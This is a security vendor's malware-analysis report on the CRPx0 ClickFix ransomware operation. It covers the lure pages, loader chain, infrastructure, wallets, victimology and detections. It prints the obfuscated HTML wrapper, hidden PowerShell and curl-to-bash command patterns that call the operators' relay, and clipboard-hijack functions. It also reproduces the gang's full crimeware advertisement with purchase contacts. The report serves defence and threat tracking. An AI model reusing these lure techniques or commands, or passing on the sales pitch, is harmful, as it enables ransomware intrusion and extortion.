Skip to main content
Get support →
Back to Blog
Malware Analysis45 min readAugust 27, 2026
RansomwareExfiltrationExtortionCRPx0ClickFix

CRPx0 ClickFix Ransomware Analysis

In collaboration with

BridewellBarricade Cyber SolutionsCrystal Intelligence

CRPx0 is a ClickFix-delivered ransomware-as-a-service operation whose lures impersonate Windows and macOS update prompts and reCAPTCHA checks to trick victims into running a copied command. Ransom-ISAC traces the full killchain — from the ClickFix HTML through a multi-stage DLL loader to cross-platform Python ransomware that exfiltrates data before encrypting with AES-128 and RSA-4096 — with detections, YARA/Sigma logic, MITRE ATT&CK mapping and IOCs.

Ransom-ISAC Research Team

Contributors: Dani [Varys] Z, Ellis Stannard, Eric Taylor, Nick Smart, Rakesh Krishnan, Yashraj Solanki

CRPx0 ClickFix Ransomware Analysis report header

Contents

  1. Executive Summary
  2. Sourcing and Confidence
  3. What Defenders Should Do
  4. Affiliate Program
  5. Why This Matters
  6. Update - v3.0 Panel Claims, Not Covered by Sample Analysis
  7. Cryptocurrency Analysis
  8. Core Infrastructure
  9. Killchain Overview
  10. Analyst Notes - Weakness in Adversary Infrastructure
  11. Detection & Hunting Queries
  12. Builder / RaaS Indicators
  13. Companion Research - Reconciling the Two Accounts
  14. Appendix A - Indicators of Compromise (IOCs)
Analyst routing — where to start, by review role

Pick the review lane closest to your task. The report is intentionally modular, so each route points to the sections most relevant for that reader.

Review laneStart herePurpose
SOCMINT / actor-trackingAffiliate Program; Why This Matters; Core Infrastructure; C2 Panel Intelligence; Cryptocurrency Analysis; Companion Research - Reconciling the Two AccountsActor promotion, affiliate model, victimology, infrastructure, payment activity, operator history, and external corroboration
Malware analysisKillchain Overview; Stage 1: ClickFix HTML; Stage 2: Stager DLL; Stage 3: Python Loader DLL; Stage 4: Python Ransomware; Alternate Delivery Formats - Standalone DLL and EXE; The macOS Delivery ChainDelivery chain, loader architecture, payload behaviour, cryptographic flow, platform branching, and standalone formats
Detection engineeringWhat Defenders Should Do; Detection & Hunting Queries; MITRE ATT&CK Mapping; Appendix A - Indicators of Compromise (IOCs); Appendix A - Infrastructure PivotsPriority controls, YARA/Sigma logic, ATT&CK coverage, durable behavioural indicators, IOCs, and infrastructure pivots
CNI / OT ReviewExecutive Summary; At-a-Glance; Why This Matters; What Defenders Should Do; Sourcing and Confidence; Stage 4: Python RansomwareOperational risk, victim-impact context, pre-encryption exfiltration, backup destruction, lateral movement, and confidence caveats

Executive Summary

CRPx0 is a ClickFix-delivered ransomware-as-a-service operation. The lures impersonate Windows and macOS update prompts, or Google reCAPTCHA checks. They copy an OS-specific command to the clipboard before the victim sees the instructions.

The attack then relies on the victim to run that command. On Windows, it starts a multi-stage DLL chain. On macOS, it downloads the Python payload directly.

The final payload is a cross-platform Python ransomware that exfiltrates data before encryption, encrypts files with AES-128-CBC via Fernet, wraps the per-victim key with an embedded RSA-4096 public key, attempts lateral movement, and drops ransom notes demanding Bitcoin or Monero payment within 48 hours. The most important defensive point is timing: by the time .crpx0 extensions or ransom notes appear, the data-theft phase has already completed.

For defenders, the highest-value detections sit before or during execution rather than after encryption: Run dialog abuse, RunMRU entries containing PowerShell or curl, lure telemetry using X-Captcha-Track: 1, authenticated C2 traffic using Authorization: Bearer crpx0_c2_2026, and the 512 KB chunked exfiltration pattern to relay.php.

Sourcing and Confidence

FindingSourceConfidence
Attack chain, obfuscation layers, payload behaviour, IOCs, hashesStatic analysis of recovered samplesHigh - directly observed in code and disassembly
Builder capabilities, 17 evasion toggles, affiliate payout dataCRPx0 COMMAND panel source and screen captureHigh - observed in panel source
Standalone DLL and EXE formats - PE characteristics, exports, hashesBuilds pulled from the CRPx0 COMMAND builder, then statically analysedHigh - directly observed in the recovered binaries
Affiliate terms ($333 enrolment, 70:30 split, CIS exclusion, XMR preference)spear[.]cx advertising and direct communication with the operatorModerate-High - the operator's own claims; advertised terms may differ from terms honoured
Victimology and leak-site claimsCRPx0 leak-site postingsLow-Moderate - adversary claims, not corroborated with the named victim
Eight third-party sample hashes - Appendix A, Third-Party SubmissionsMalwareBazaar submissions by Rakesh Krishnan (TheRavenFile), shared with Ransom-ISACModerate - family attribution is the submitter's and the platform's; the files were not recovered, executed or analysed by Ransom-ISAC

No samples were executed. All behavioural description is derived from source and disassembly, so runtime behaviour on a live host may differ in detail. Where this report states what the malware "does", read it as "what the code instructs it to do".

Companion research - read in parallel. Ransom-ISAC's Rakesh Krishnan has published an independent investigation into the same operation: CRPx0 - Scammer Turned Ransomware Operator, The Raven File, 03 August 2026. This report works inward from the artefacts - lure pages, DLL chain, Python payload, builder output. His works outward from the operator - who runs CRPx0, what they were doing before June 2026, and where the infrastructure actually sits. Neither half is a complete picture of the actor on its own. What each account adds, and the five points where the two disagree, are set out in Companion Research - Reconciling the Two Accounts at the end of the report.

At-a-Glance

CRPx0 is an active ransomware-as-a-service operation delivering multi-stage payloads via ClickFix social engineering HTML pages. Two lure themes have been identified - a fake Windows Update and a fake Google reCAPTCHA - both serving as affiliate-customised entry points.

Those two lures are only half the builder's output. CRPx0 COMMAND offers four payload formats: the two HTML lures plus a standalone DLL and a standalone EXE, both of which discard the social engineering step entirely and are analysed under Alternate Delivery Formats below. All four converge on the same Stage 4 Python ransomware.

The HTML pages use document.write(atob(...)) to decode a social engineering page that hijacks the victim's clipboard with an OS-specific command:

  • Windows: The victim unknowingly pastes a PowerShell command that drops a DLL stager chain, ultimately deploying Python-based ransomware.
  • macOS: A curl|bash command downloads portable Python and the ransomware directly.

Both paths lead to the same payload: a 1,769-line Python script that exfiltrates high-value files before encrypting with AES-128-CBC (Fernet), moves laterally via WMI/schtasks, and drops ransom notes with a 48-hour deadline.

What Defenders Should Do

Five actions in priority order. The first three cost nothing and blunt the entire ClickFix class of attack, not just CRPx0.

  1. Remove the Run dialog for standard users. The Windows path depends entirely on the victim pressing Win+R and pasting. The *Remove Run menu from Start Menu* policy (NoRun under HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer) deletes the delivery mechanism outright. The macOS equivalent is restricting Terminal via MDM for non-technical staff.
  2. Alert on RunMRU writes containing powershell, curl or long base64 strings. Every ClickFix victim leaves a trace at HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. This is the highest-fidelity ClickFix detection available and it is trivial to deploy.
  3. Block the adversary network indicators in Appendix A, and alert separately on the lure-page telemetry header. Block 207.180.29.236, crpx0.su, and any outbound POST carrying Authorization: Bearer crpx0_c2_2026 or a CrpxBoundary multipart boundary. The consolidated list is in Appendix A - Network IOCs, which separates adversary-controlled infrastructure from the legitimate hosts the chain abuses; do not block the latter. Then alert on X-Captcha-Track: 1, which fires when a device merely renders the lure page - the earliest indicator available. Note that blocking the relay does not neutralise the Windows lure: the stager DLL is embedded in the page itself.
  4. Hunt the pre-encryption exfiltration window. Data leaves before a single file is encrypted, so .crpx0 extensions and ransom notes are a post-mortem indicator, not a warning. The only live signal is the chunked 512 KB multipart upload to relay.php in Phase 9.
  5. Confirm backups are unreachable from the account that would be compromised. vssadmin, wmic shadowcopy, wbadmin and tmutil all run before encryption begins. Treat anything reachable with the victim's credentials as destroyed.

Because every build expires on its own hardcoded timer and is then replaced, prioritise behavioural detection over hash blocking. The scheduled-task names, mutex pattern, RunMRU trace, fodhelper registry write and relay POST signature all survive a rebuild. The hashes do not.

Note that actions 1 and 2 blunt only the ClickFix formats. The builder's standalone DLL and EXE reach the same payload with no Run dialog, no clipboard hijack and no RunMRU trace, so on that path actions 3 to 5 carry the weight, backed by the PE-level detections in Alternate Delivery Formats.

Affiliate Program

CRPx0 first appeared on spear[.]cx on 07 June 2026 advertising their RaaS affiliate program:

Initial CRPx0 affiliate-program advertisement on spear[.]cx.

Initial CRPx0 affiliate-program advertisement on spear[.]cx.

The operators were initially reported for OnlyFans lures:

Early CRPx0 promotion associated with OnlyFans-themed lures.

Early CRPx0 promotion associated with OnlyFans-themed lures.

Early advertising also offered free affiliate access for vetted operators:

Advertisement suggesting free affiliate access for vetted operators.

Advertisement suggesting free affiliate access for vetted operators.

However this quickly shifted to a paid program, advertising a one-time $333 enrollment fee for lifetime affiliate access. Enrolled affiliates are promised a 70% commission on every successfully paid ransom, with the remaining 30% retained by the RaaS operator.

CRPx0 advertisement describing the paid affiliate enrolment model.

CRPx0 advertisement describing the paid affiliate enrolment model.

The program applies a flat 70:30 revenue split in favour of affiliates, with no commission tiers or minimum payout thresholds - an unusually simple model compared with many RaaS schemes.

CRPx0 affiliate revenue-share terms.

CRPx0 affiliate revenue-share terms.

The operational rules also prohibit targeting Commonwealth of Independent States (CIS) member states, reflecting a restriction commonly imposed by RaaS programs. Direct communications further indicated that Monero (XMR) is the preferred payment method, rather than Bitcoin (BTC).

Why This Matters

CRPx0 has placed 47 victim organisation names on its Dedicated Leak Site (DLS), counted directly from the site:

CRPx0 Dedicated Leak Site victim listing used for the direct victimology count.

CRPx0 Dedicated Leak Site victim listing used for the direct victimology count.

All 47 postings categorised. Victim names are withheld - these are claimed victims of a live extortion operation, and the categories carry the analytic value.

SectorTotalShare of 47USTurkeyOther
Healthcare1328%1111
Financial services919%540
Technology715%700
Other sectors1838%1260
Total47100%35 (74%)11 (23%)1 (2%)
  • US 35 = 30 postings with a stated US address, plus 5 of the 6 unlocated postings identified as US dental or medical practices. The sixth is assessed South Korean.
  • Two Istanbul-listed postings are subsidiaries of US and South Korean parents. By parent HQ: US 36, Turkey 9, South Korea 2.
  • 9 of the 13 healthcare victims are dental or orthodontic practices. All four Turkish financial-services entries are banks or insurers.
  • Counting caveats: one entity sits in both healthcare and technology; one healthcare posting is tagged media on the DLS.

Assessment. The US set is small practices and firms - what an untargeted ClickFix lure catches. Eleven Turkish entities including four banks and insurers is not. Assessed at moderate confidence that a separate affiliate is deliberately targeting Turkish financial services.

All of it is leak-site claim rather than confirmed breach - see Sourcing and Confidence above - and 47 is a floor rather than a total, since victims who pay before the deadline are never posted.

The operators also appear to impose no meaningful ethical limits on victim selection.

CRPx0 leak-site posting used to assess victim-selection ethics and harm potential.

CRPx0 leak-site posting used to assess victim-selection ethics and harm potential.

The group has extorted a nonprofit organisation that supports survivors of human trafficking - people who are already at heightened risk. In its leak-site posting, CRPx0 claims to have infiltrated the organisation and threatened to publish highly sensitive information if its demands are not met.

CRPx0 claims to have exfiltrated personal, financial, operational, and governance data. That data could enable re-identification, fraud, harassment, exploitation, or physical harm.

Update - v3.0 Panel Claims, Not Covered by Sample Analysis

Full v3.0 product description (from crpx0.su/v3.txt)

What CRPx0 v3.0 is

CRPx0 v3.0 is a complete, professional offensive control center for managing compromised remote machines from a single web dashboard. An operator can watch stolen cryptocurrency wallet addresses flow in, harvest valuable files and credentials, run remote commands, and most importantly in this version, set up automated attack reactions that fire on their own when something valuable happens on a target. Everything is built to be operated by a human with no technical background: point-and-click panels, plain-language rules, and clear status indicators. The underlying attack engine is hidden behind a clean, dark-themed interface.

What's new in v3.0

  • Orchestration / Playbooks - a visual, no-coding rule builder that makes the tool react automatically (e.g. "when a seed phrase is copied → grab files + screenshot"). Built with dropdowns and drag-and-drop.
  • File Harvester - one action that sweeps a target's wallets, notes, and keys into your storage.
  • Hardened & safe to operate - the build process, file handling, and safety limits were all reviewed and strengthened this release.

Core attack engine

Clipboard Hijacker (Clipper): Watches the target's copy/paste in real time. The moment they copy a cryptocurrency wallet address, the tool swaps it for the address you choose so any payment they make goes to you instead. Works across all major coins, including Bitcoin, Ethereum, Solana, and Monero.

Seed Phrase Catcher: If the target copies a wallet recovery phrase (those 12–24 words), the tool recognizes it, records it, and can trigger an automatic offensive reaction. Captured phrases are saved in a dedicated log, allowing you to compromise the entire wallet and drain its funds.

Cross-platform ransomware agent: The program that runs on the target works on Windows, macOS, and Linux, survives restarts (persistence), and stays hidden while communicating through a concealed relay.

Intelligence & loot

Loot Vault: A secure, organized storage area inside your panel where everything collected from a target is saved and sorted per machine.

File Harvester: With one action, the tool sweeps the target's documents, crypto wallets, notes, and SSH keys, classifies what it finds, and uploads everything interesting to the Loot Vault.

Screenshot Capture: Takes a picture of the target's screen and sends it to you.

File Reader: Opens and pulls the content of any single file from the target's machine.

Process Viewer: Shows the list of programs currently running on the target.

Remote control & offensive actions

Remote Command: Type a single command and run it on the target as if you were sitting at their keyboard.

Spreader (Propagate): Attempts to move from one machine to another on the same network (Windows), extending your reach further into an environment.

Automation - Orchestration / Playbooks (v3.0)

A Playbook is a simple offensive rule: "When X happens on a target, automatically do Y." You build it without writing anything technical: pick a trigger (e.g. "a seed phrase was copied"), add actions from a dropdown (Harvest files, Screenshot, Run command, Read file, List processes, Propagate), arrange them by dragging, and see a plain-English summary. Safety lock: the dangerous ransomware (encrypt target) capability can never be added to an automatic rule. It can only ever be launched by you, manually, on purpose.

The Cryptor (Ransomware Module)

When launched, the Cryptor encrypts the target's files on disk so they can no longer be opened. It is delivered and controlled entirely from the same panel, under a dedicated Encrypt Target action. The operator chooses when to fire it. Encryption can be aimed at a single target or pushed more broadly. Even though it is a major offensive feature, the Cryptor is deliberately kept manual-only. It can never be added to an automatic Playbook rule, protecting the operation from accidental or unintended deployment.

Safety - Guardrails

Built-in limits that protect the operation from mistakes: blocks obviously destructive commands, caps how many tasks can pile up on a single target, asks for confirmation on risky actions.

Management & configuration

Builder: A wizard that produces the target program with your settings baked in. Client Management: See every machine you control: online/offline status, country, username, whether it has admin rights, and last-seen time. Crypto Settings: Choose which cryptocurrencies to target and the replacement address for each. Campaigns: Run the same offensive action across many targets at once. Balance Monitor: Watches the balances of stolen wallets. Seed Log: A searchable record of every seed phrase captured. Dashboard & Analytics: At-a-glance statistics: total machines, loot collected, and activity over time.

White-label licensing

If you are interested to buy a white-label license contact us:

Telegram: @DataBreachPlus
Session: 050546f6719172e04151c31acb37a242fa3eeff5766aa57331d26cc06e83e9e25b
Tox: 17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7C

On 23 August 2026, CRPx0 published a v3.0 update note on its clearnet Dedicated Leak Site at https://crpx0.su/v3.txt, advertising the operation as a more complete offensive control panel rather than a simple ransomware builder. The note presents v3.0 as a point-and-click dashboard for managing compromised machines, harvesting files and credentials, monitoring stolen cryptocurrency artefacts, running remote commands, and launching ransomware manually.

CRPx0 v3.0 update note published on the clearnet leak site.

CRPx0 v3.0 update note published on the clearnet leak site.

The headline change is an Orchestration / Playbooks layer: a visual rule builder that lets operators trigger actions automatically when valuable events occur, such as a copied seed phrase leading to file harvesting and a screenshot. The same note advertises a File Harvester, clipboard hijacker, seed-phrase catcher, screenshot capture, file reader, process viewer, remote command execution, Windows spreader, campaign management, crypto-address replacement settings, balance monitoring, and a “Loot Vault” for organising stolen material. The ransomware component, branded the Cryptor, is described as manual-only and blocked from automatic playbooks, suggesting the operators are trying to reduce accidental encryption while still enabling automated theft and reconnaissance.

CRPx0 v3.0 advertised playbook and automation capabilities.

CRPx0 v3.0 advertised playbook and automation capabilities.

The commercial framing is also important. CRPx0 describes v3.0 as suitable for operators with no technical background and offers a white-label licence. The contact details match the broader CRPx0 infrastructure cluster: Telegram @DataBreachPlus, the same Session ID, and the same Tox ID already seen in the ransom note and companion research.

This supports the assessment that CRPx0 is being marketed as a crimeware platform, not only used by a single closed operator.

This malware analysis does not include reverse engineering of the v3.0 features advertised in the update note. That omission does not materially change the findings below: the added dashboard, playbook, harvesting, and remote-operator functions are not required for CRPx0's core ransomware operation as analysed here.

The core business model still depends on affiliate access, payload delivery, data theft, encryption, negotiation infrastructure, and leak-site pressure - all of which are covered by the sample set analysed here.

CRPx0 v3.0 commercial framing and white-label contact details.

CRPx0 v3.0 commercial framing and white-label contact details.

Encoding artefacts visible in the v3.0 note: —, →, and 12–24.

These are UTF-8 characters mis-decoded as Windows-1252, corresponding to punctuation such as an em dash, arrow, and en dash. The artefacts themselves are encoding damage rather than meaningful symbols, but their presence is useful provenance: they suggest the note was copied, edited, or served through a mismatched character-encoding workflow.

Separately, the availability of Cyrillic/Russian keyboard input in the surrounding operator environment remains consistent with the Russian-language tradecraft indicators already observed elsewhere in the investigation, though the mojibake alone does not prove keyboard layout.

Cryptocurrency Analysis

The cryptocurrency wallets in this section were analysed using Crystal Intelligence.

The operator advertises both BTC and XMR payment options. Direct correspondence indicated a preference for XMR, likely because of its stronger privacy properties.

Bitcoin wallet activity associated with the CRPx0 financial-tracing cluster.

Bitcoin wallet activity associated with the CRPx0 financial-tracing cluster.

The Bitcoin address 1Fv8YVf52MGqjfgnyjMoBo7ojoGnZmKCrV is attributed to Bybit, a major cryptocurrency exchange. It has received only around USD 770 across 11 transactions, which is unusually low for a ransomware payment address. Observed payments range from approximately USD 45 to USD 350, with most falling between USD 70 and USD 120.

The address is also aged, first becoming active in October 2023, but shows limited overall activity. This may indicate use as a drop account, potentially opened with stolen identity documents or controlled by a money mule to frustrate attribution, seizure, or compliance action.

One notable anomaly is a direct payment from Coinbase in 2026. Direct exchange-to-exchange flows into suspected threat-actor infrastructure are unusual, as more mature threat actors typically avoid such traceable paths. This may point to poor operational security, mule infrastructure, or activity unrelated to ransomware proceeds.

TRON/USDT wallet activity attributed to Bybit infrastructure.

TRON/USDT wallet activity attributed to Bybit infrastructure.

The TRON activity is more substantial, although there are multiple wallets that require deeper review. At a high level, the address TJridpGzorLA67Qmji8viGj953pnwbqh3F is also attributed to Bybit; however, blockchain attribution alone cannot confirm whether it is controlled by the same threat actor without exchange-side confirmation.

The address has received approximately 56,605 USDT across 258 transactions, with observed transfers ranging from 1 USDT to 3,500 USDT. This is materially higher-volume than the Bitcoin address and does not show the same dormant pattern. It first became active in July 2023, compared with October 2023 for the Bitcoin address.

The same tradecraft concern remains: direct use of an exchange-attributed address is unusual for a mature ransomware operator. This may indicate poor operational security, mule infrastructure, or mixed activity unrelated to CRPx0 ransom payments.

Core Infrastructure

CRPx0 clearnet relay and Tor-backed infrastructure overview.

CRPx0 clearnet relay and Tor-backed infrastructure overview.

The CRPx0 website advertises an end-to-end ransomware infrastructure and payload service with the following capabilities:

  • TOR-hosted C2 channel: Backend command-and-control infrastructure concealed behind a Tor .onion service.
  • Flexible payload formats: Standalone executable payloads and DLL variants advertised as suitable for sideloading or process injection.
  • ClickFix payload delivery: Affiliate-customisable fake update and reCAPTCHA pages that socially engineer victims into executing the initial command.

The clearnet relay at 207.180.29.236:8080 is a dumb PHP proxy that forwards all traffic through Tor SOCKS5 to the true C2 backend at:

xburs4nr6cbuktokhqwefeh5hsjakz6usll5o7z5uhrfcnolakj4ptad.onion/api.php

Additional infrastructure and contact points:

  • Leak site: crpx0.su (clearnet) and crpxolx7.onion
  • Negotiation portal: kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd.onion
  • Telegram bot: @DragonFly_x_bot
  • Tox ID: 17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7C

C2 Panel Intelligence

CRPx0 COMMAND panel walkthrough recording.

Full C2 panel source was obtained, revealing a mature RaaS platform branded CRPx0 COMMAND (build v3.0.0, dated 2026-06-07).

The builder generates four payload types - two HTML lures and two standalone PE binaries. Both HTML formats are covered under Stage 1 below; the DLL and EXE are analysed under Alternate Delivery Formats.

CRPx0 COMMAND builder output options showing DLL, EXE, and CAPTCHA HTML formats.

CRPx0 COMMAND builder output options showing DLL, EXE, and CAPTCHA HTML formats.

  • DLL
  • EXE
  • CAPTCHA HTML
CRPx0 COMMAND builder output option for the Update HTML lure.

CRPx0 COMMAND builder output option for the Update HTML lure.

  • Update HTML
CRPx0 COMMAND panel showing configurable evasion and payload options.

CRPx0 COMMAND panel showing configurable evasion and payload options.

It includes 17 configurable evasion toggles, including AMSI/ETW patching, ntdll unhooking, XOR packing, and self-signed Microsoft certificate signing. The panel also includes a live Leaflet.js infection map, campaign funnel analytics, affiliate payout tracking, and a support ticket system.

The observed affiliate account (the panel username) maps to a numeric affiliate ID, the same ID sent in C2 beacons and embedded in the reCAPTCHA lure. It had $0 in payouts.

Killchain Overview

The diagram below summarises the HTML-based killchain. It covers the two ClickFix formats; the standalone DLL and EXE replace Stage 1 entirely and collapse Stages 2 and 3 into a single binary, as described in Alternate Delivery Formats.

CRPx0 ClickFix HTML killchain from lure page through stager, loader, and Python ransomware.

CRPx0 ClickFix HTML killchain from lure page through stager, loader, and Python ransomware.

Stage 1: ClickFix HTML (clickfix.html)

This is the initial attack vector - a weaponised HTML page designed to trick victims into executing malicious commands on their own machines. The outer file is a single line of HTML that uses document.write(atob(...)) to decode a full social engineering page inside the victim's browser. Once decoded, the page detects the victim's operating system via navigator.userAgent, silently copies an OS-specific malicious command to the clipboard before the victim sees any instructions, then displays fake "verification steps" that trick the victim into pasting and running the command.

Outer ClickFix HTML wrapper using document.write and atob to decode the embedded lure page.

Outer ClickFix HTML wrapper using document.write and atob to decode the embedded lure page.

<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Loading...</title></head><body><script>document.open();document.write(atob("PCFET0NUWVBFIGh0bWw+<MASSIVE BASE64 PAYLOAD OMITTED>RNTD0iIjt9PC9zY3JpcHQ+PC9ib2R5PgoKPC9odG1sPg=="));document.close();</script></body></html>

Outer Wrapper

  • Single line, 7MB file containing document.write(atob("..."))
  • Kill switch: a Date.now() comparison against a hardcoded expiry timestamp - if(Date.now()>{expiry}){document.body.innerHTML="";} - after which the page blanks itself
  • __dp() function: creates Blob from __pd base64 variable, triggers download as WindowsUpdate.log
  • __pd variable: 5,263,021 characters of base64-encoded PE DLL

Decoded Page (decoded_page.html)

  • Page title: Windows Update
  • Size: 5,313,648 bytes, 1,182 lines
  • CSS: hand-written, no framework - #f2f4f8 background with SVG cross-hatch pattern, white card UI, wizard-step numbered panels
  • Languages: 8 - en, fr, es, pt, it, ar, ko, ja (RTL layout applied for Arabic)
  • Session tracking: sessionId = Math.random().toString(36) concatenation (per-visit, not persistent)
  • Embedded PE blob: __pd variable = 5,263,014 chars of base64-encoded PE DLL
  • Kill switch: a hardcoded Date.now() expiry comparison - the page blanks itself once the timestamp passes

JavaScript Functions - the six that matter (of 15)

FunctionPurpose
detectOS()Parses navigator.userAgent - regex /Mac Macintosh Mac OS X MacIntel/ → "macOS", /Win Windows Win32 Win64/ → "Windows", else "Other"
getHelloWorldMessage()Returns OS-specific payload: Windows → powershell -w h -enc ..., macOS/Other → curl \ bash with base64-encoded relay URL
silentCopy(text)Creates hidden <input> (10x10px, opacity 0.01, z-index 99999), appends to body, focuses, selects, calls document.execCommand("copy"), removes element
reportClick()XHR POST to relay.php with X-Captcha-Track: 1 header. Sends: opid=WINUPDATE_TRACK, event=clickfix_started, session_id, os, affiliate_id=1. Fires once (guarded by _reportSent flag)
handleKioskClick(e)Every click: re-copies payload via silentCopy(), re-enforces fullscreen. First click only: sends telemetry via reportClick(), activates Windows Update screen, fades out pre-click overlay, starts progress animation
__dp()Dropper: creates Blob from __pd base64, generates object URL, creates hidden <a> with download="WindowsUpdate.log", clicks it to trigger download
The other nine - UI, localisation and animation plumbing
  • detectLanguage() - reads navigator.language, matches against [en,fr,es,pt,it,ar,ko,ja], defaults to en
  • getDocumentName() - pulls a filename from the URL path, falls back to Confidential_Document.pdf
  • enterFullscreen() - document.documentElement.requestFullscreen(), the kiosk lock
  • showAttention() - renders the "attention needed" panel once the progress bar completes
  • createWizardStep(num, text) - renders one numbered instruction step
  • fmtMacStep(step) - formats the macOS Terminal steps with keyboard-shortcut styling
  • macKey(label) - renders a styled key glyph (⌘, Space)
  • updatePart(pct) - updates the progress percentage and rotates the status text
  • easeOut(t) - easing curve for the progress bar animation

Event Listeners

  • keydown - intercepts and blocks Escape, F5, F11 keys (e.preventDefault()) to maintain kiosk lock
  • click (x2) - handleKioskClick() bound to the pre-click overlay and main update screen

UI Flow (victim experience)

The victim-facing sequence and the page's actual behaviour run in parallel and share almost nothing. By the time the fake Windows Update screen appears, silentCopy() has already written powershell -w h -enc ... to the clipboard and __dp() has already dropped the embedded PE DLL as WindowsUpdate.log. The 15-second progress bar is pure animation with no network activity behind it, deliberately eased to stall at 95% so it can never complete - which is what pushes the victim toward the Win+R paste the page has been preparing since load. A keydown handler blocking Escape, F5 and F11 keeps them there.

CRPx0 ClickFix lure flow from page load through clipboard hijack, fake update screen, and victim-executed PowerShell.

CRPx0 ClickFix lure flow from page load through clipboard hijack, fake update screen, and victim-executed PowerShell.

Localisation

23 translation keys per language across 8 languages - 184 strings covering the loader text, progress messages, attention panel, and both the Windows and macOS instruction steps, with an RTL layout switch for Arabic. This is well above the norm for a phishing kit and is a productisation signal: the lure is built to be resold to affiliates operating in different regions, not hand-made for a single campaign.

OS Detection and Platform Branching

The ClickFix page does not blindly serve PowerShell to every visitor. Before displaying any instructions, detectOS() parses the browser’s user-agent string and branches the entire payload delivery path:

  • Windows detectedgetHelloWorldMessage() returns a powershell -w h -enc ... command. The UI calls renderWindowsSteps(), which displays Win+R paste instructions. The embedded PE blob (__pd) is triggered as a Blob download disguised as WindowsUpdate.log. The full DLL stager chain (Stages 2-4) executes.
  • macOS detectedgetHelloWorldMessage() returns a curl | bash command targeting the relay. The UI calls renderMacSteps(), which displays Terminal paste instructions. No PE blob is downloaded - the payload comes directly from the relay as a Python bootstrap script (sys_core_*.bin), skipping the DLL chain entirely.
  • Other (Linux/unknown) → Falls back to the macOS command. This partially breaks because the curl downloads darwin-only Python binaries from indygreg/python-build-standalone. If the victim already has a compatible Python installed, the ransomware itself is cross-platform and will execute.

The clipboard hijack (silentCopy() / silentCopyHelloWorld()) copies the OS-specific command before the victim sees any instructions. PowerShell never appears on macOS; curl never appears on Windows. The entire UI - instructions, step numbering, verification text - adapts to the detected platform.

PowerShell Command Pattern

powershell -w h -enc <base64>

Decodes to: download DLL → save as WindowsUpdate.log → rundll32 execution.

Note that the Stage 2 stager exports only its crypto globals (g_data, g_k1, g_k2, g_ko1, g_ko2, g_len) and has no ExecuteStager export, so rundll32 must invoke it by ordinal. ExecuteStager belongs to Stage 3 (data.dll). The exact command line sits inside the base64 blob and was not recovered.

What the Relay Actually Does - Seen From the Lure Page

Relay diagram - three callers, one PHP file, three roles

Relay diagram - three callers, one PHP file, three roles

Both lure variants talk to http://207.180.29.236:8080/relay.php, the same endpoint the ransomware uses in Stage 4 - but the traffic is a different shape, carries different authentication, and is handled differently at both ends. Four distinct request types hit that one PHP file across the whole attack chain:

SourceRequestAuthenticationPurpose
Windows Update lure (aff 1)XMLHttpRequest POST, form-encoded - opid=WINUPDATE_TRACK, event=clickfix_started, session_id, os, affiliate_id=1X-Captcha-Track: 1Funnel telemetry - a visitor opened the page and clicked
reCAPTCHA lure (aff 20)fetch() POST, JSON - opid=CAPTCHA_WEB, affiliate_id=[REDACTED], hostname=_vid, user=WebVisitor, os, statusX-Captcha-Track: 1Same, plus a persistent visitor ID and an Escape-key event
Pasted command - macOSGET relay.php?file=sys_core_*.bin&secret=crpx0_c2_2026secret query parameterPayload delivery - the relay returns the Python loader as the HTTP response body
Pasted command - WindowsStager DLL download from relay.php (exact parameters are inside the base64-encoded PowerShell and were not recovered)Not establishedPayload delivery
Ransomware (Stage 4)POST JSON and multipart - status beacons, key handshake, exfiltrated ZIP chunksAuthorization: Bearer crpx0_c2_2026Operational C2

X-Captcha-Track: 1 is the discriminator. The lure pages are the only part of the chain that does not send the Bearer token - they send this header instead. The relay appears to use it to route browser telemetry into the panel's campaign-funnel analytics rather than the infection tracker, which the panel presents as separate views. *(Inference from client-side code plus panel structure; relay.php source was not recovered, only the panel behind it.)*

The page never reads the reply. reportClick() fires once behind a _reportSent flag and makes no use of the response; _sendStat() ends in .catch(e => {}), which swallows connection failures silently. Neither function parses, renders, or gates anything on what comes back. What the relay returns to the lure page is therefore undocumented - and, from the operator's point of view, irrelevant. This is fire-and-forget telemetry, not a command channel. No samples were executed, so no response body was observed.

That has a direct defensive consequence: blocking the relay does not stop the Windows lure. The stager DLL is already embedded in the page as the __pd base64 blob and is written to disk by __dp() as a Blob download the moment the victim clicks. The clipboard hijack, the fake UI, the kiosk lock and the DLL drop all function with the C2 unreachable. Blocking 207.180.29.236 breaks only the macOS path - which genuinely fetches sys_core_*.bin from the relay - and the operator's visibility. Whether the pasted PowerShell then succeeds depends on whether its download target resolves to the same path as the Blob download; static analysis alone does not settle that, and it is worth confirming in a controlled detonation.

Detection value: this is the earliest signal in the entire chain. An X-Captcha-Track: 1 header in proxy logs means a device in your estate rendered a CRPx0 lure page - before the victim pressed Win+R, before any DLL executed, before any file was encrypted. Nearly every other indicator in Appendix A is post-execution. This one is pre-compromise, it is unauthenticated so it is visible in plaintext HTTP, and it survives a rebuild because it is baked into both lure templates.

Decoded Page - reCAPTCHA Variant (captcha_decoded.html)

Decoded reCAPTCHA lure page used by the affiliate [REDACTED] ClickFix variant.

Decoded reCAPTCHA lure page used by the affiliate [REDACTED] ClickFix variant.

  • Page title: reCAPTCHA — Identity Verification
  • Size: 5,270,986 bytes, 773 lines
  • CSS: faithful recreation of the Google reCAPTCHA UI - checkbox widget with border-radius spinner, green checkmark animation, modal verification overlay
  • Languages: 6 - en, fr, es, it, pt, ar (RTL layout applied for Arabic). Missing ko and ja compared to the Windows Update variant.
  • Victim tracking: localStorage key _vid - persistent across sessions and browser restarts. If not found, generates a new UUID-style value and stores it. This is a significant OPSEC upgrade over the Windows Update variant's sessionId (which uses Math.random() and resets each visit).
  • Embedded PE blob: __pd variable - same base64-encoded PE DLL pattern as affiliate 1. The __dp() function decodes it as a Blob download.
  • Kill switch: the same hardcoded Date.now() expiry comparison, but with a different timestamp a few days later than the Windows Update variant's - confirming the builder stamps a fresh expiry into every build.
  • No progress animation - unlike the Windows Update variant which runs a 15-second animated progress bar with 3 rotating messages, the reCAPTCHA variant shows a spinner during verification then immediately displays steps.

